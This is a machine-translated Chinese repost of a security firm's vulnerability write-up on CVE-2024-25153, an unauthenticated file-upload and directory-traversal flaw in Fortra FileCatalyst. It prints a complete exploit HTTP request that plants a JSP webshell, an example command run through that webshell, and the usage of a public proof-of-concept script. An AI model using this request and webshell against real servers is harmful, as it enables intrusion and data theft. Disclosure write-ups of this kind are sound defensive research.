前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

作者头像
潇湘信安
发布2024-03-22 13:53:37
2290
发布2024-03-22 13:53:37
举报
文章被收录于专栏:潇湘信安潇湘信安

这篇文章为机翻文,部分内容翻译的可能不是很准确,建议阅读原文:https://labs.nettitude.com/blog/cve-2024-25153-remote-code-execution-in-fortra-filecatalyst/

漏洞介绍

CVE-2024-25153是Fortra FileCatalyst中的一个严重的不安全文件上传和目录遍历漏洞,允许未经身份验证的远程攻击者在 Web 服务器上获取远程代码执行 (RCE)。这会影响 5.1.6 Build 114 之前的 Fortra FileCatalyst Workflow 5.x。

我们正在发布针对此漏洞的完整概念验证漏洞,可以在下面的GitHub上找到。

代码语言:javascript
复制
https://github.com/nettitude/CVE-2024-25153

Fortra FileCatalyst 是一种企业管理文件传输 (MFT) 解决方案,由多个组件组成 - FileCatalyst Direct、Workflow 和 Central。FileCatalyst Workflow包括一个 Web 门户,允许用户与组织中的任何人共享、修改和跟踪文件。

代码语言:javascript
复制
https://www.goanywhere.com/products/filecatalyst/filecatalyst-workflow

过去 12 个月,托管文件传输 (MFT) 应用程序中发现了多个重大漏洞,例如CVE-2023-34362(MOVEit Transfer 应用程序中的 SQL 注入和远程执行代码漏洞)以及CVE-2024-0204(一个Fortra GoAnywhere 的身份验证绕过问题。

LRQA Nettitude 在对在外部基础设施中使用 Fortra FileCatalyst 的客户进行安全评估时发现了 CVE-2024-25153。本文包含对该漏洞及其发现的完整分析。

文件上传分析-FtpServlet

在 FileCatalyst 工作流程中,文件上传过程涉及对以下 URL 的 POST 请求。

代码语言:javascript
复制
https://{url}/workflow/servlet/ftpservlet

下面是一个伪请求示例:

代码语言:javascript
复制
POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT HTTP/1.1
Host: {url}
Content-Type: application/octet-stream 
Cookie: JSESSIONID={SESSION}
X-File-Type: image/png
X-File-Name: upload.png

{file contents}

尽管此请求需要会话令牌,但默认情况下,FileCatalyst Workflow允许公共用户匿名登录。此凭据或有效凭据是利用 CVE-2024-25153 的要求。

为了识别潜在的安全问题,我们从Fortra的公共网站下载并反编译了最新版本的FileCatalyst Workflow 。

代码语言:javascript
复制
https://filecatalyst.software/workflow.html

如下所示,一些字符串被混淆,使得对应用程序进行逆向工程的任务更具挑战性。

目录遍历分析

通过检查错误消息,我们确定文件通常会上传到 Web 根目录中的以下位置。

代码语言:javascript
复制
https://{url}/workflow/uploadtemp/{session_id}/{file_name}

但是,uploadtemp目录中的任何文件或文件夹都被明确拒绝公开访问,并且会话ID是随机生成的,用户不知道。

通常,攻击者会试图在X-File-Name请求标头中使用一系列点-点-斜杠(../)字符来跳到其他目标目录,但斜杠字符已被清除,因此不可能进行此攻击。

重要的是,我们观察到临时上传目录会在上传后不久被清理过程删除。确切的时间窗口取决于服务器端FTP连接完成所需的时间,这被认为足以进行潜在的攻击。

更重要的是,这意味着如果目录遍历成功,我们就无法在没有删除整个应用程序的风险的情况下定位顶级 Web 根目录。

在本地漏洞利用尝试期间,下面屏幕截图显示了这种不幸的影响。

如果在针对客户环境的安全评估期间尝试进行此攻击,则需要注意这一点。

识别隐藏参数

如果我们不能利用文件名字段中的目录遍历,我们如何才能将会话 ID 操纵为已知值?对这部分代码进行逆向工程揭示了以下功能,其中显示了一个可选查询参数 bb.decode(KVhV),用于构造会话 ID。

正如前面提到的,这个字符串值被混淆了,我们必须逆向混淆函数来识别原始字符串,如下所示,这显示了sid请求参数。

上传命令执行脚本

通过将sid参数处替换为点-点-斜杠(../),我们能够将服务器端可执行文件shell.jsp上传到uploadtemp目录之外的位置。

对于读到这里的任何人来说,不要尝试将文件上传到顶级目录,这一点非常重要,因为这可能会删除整个应用程序。

代码语言:javascript
复制
POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT&sid=nettitude/../../nettitude/ HTTP/1.1
Host: {url}
Content-Type: application/octet-stream
Cookie: JSESSIONID={SESSION}
X-File-Type: a
X-File-Name: shell.jsp

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
   out.println("Command: " + request.getParameter("cmd") + "<BR>");
   Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
   OutputStream os = p.getOutputStream();
   InputStream in = p.getInputStream();
   DataInputStream dis = new DataInputStream(in);
   String disr = dis.readLine();
   while ( disr != null ) {
      out.println(disr);
      disr = dis.readLine();
   }
}
%>
</pre>
</BODY></HTML>

上面的上传请求成功,并且 shell.jsp 被放置在 Web 目录中的以下位置:

代码语言:javascript
复制
https://{url}/workflow/nettitude/shell.jsp

在实际环境中,应用程序可能需要不安全的权限才能在 Web 根目录中创建新目录。然而,在安全评估过程中观察到了这种配置,发现了 CVE-2024-25153,并且漏洞利用成功。

远程代码执行

上传 Webshell 后,就可以使用它来执行操作系统命令,如下所示:

代码语言:javascript
复制
https://{url}/workflow/nettitude/shell.jsp?cmd=whoami

Response:

代码语言:javascript
复制
nt authority\local service

以上表明可以实现操作系统级别的访问,攻击者可以读取或修改系统上的数据,可能包括其他用户上传的文件。这带来了严重的机密性、完整性和可用性风险。

同样,在FileCatalyst Direct中,也观察到同样存在漏洞的 FtpServlet:

代码语言:javascript
复制
https://www.goanywhere.com/products/filecatalyst/filecatalyst-direct
代码语言:javascript
复制
https://{url}:12480/servlet/ftpservlet

这似乎具有相同的功能,并且也被确定可以按照上述步骤进行利用。

概念验证漏洞利用

我们已经为 CVE-2024-25153 创建了完整的概念验证漏洞,可以在下面的 GitHub 上找到。

代码语言:javascript
复制
https://github.com/nettitude/CVE-2024-25153

要使用它,语法如下:

代码语言:javascript
复制
./CVE-2024-25153.py --host <hostname> --port <port> --url <url> --cmd <command>

该工具将执行以下操作:

代码语言:javascript
复制
自动检测是否启用匿名登录
获取有效的会话令牌
上传具有伪随机生成的文件名的命令执行脚本
执行操作系统命令

下面的屏幕截图演示了这一点。

披露流程

该漏洞于2023年8月7日发现,于2023年8月9日向Fortra报告,并于2023年8月11日发布有效补丁。Fortra于2023年12月被授权为CVE编号机构(CNA),此时CVE-2024-25153已分配并计划公开披露。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-03-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档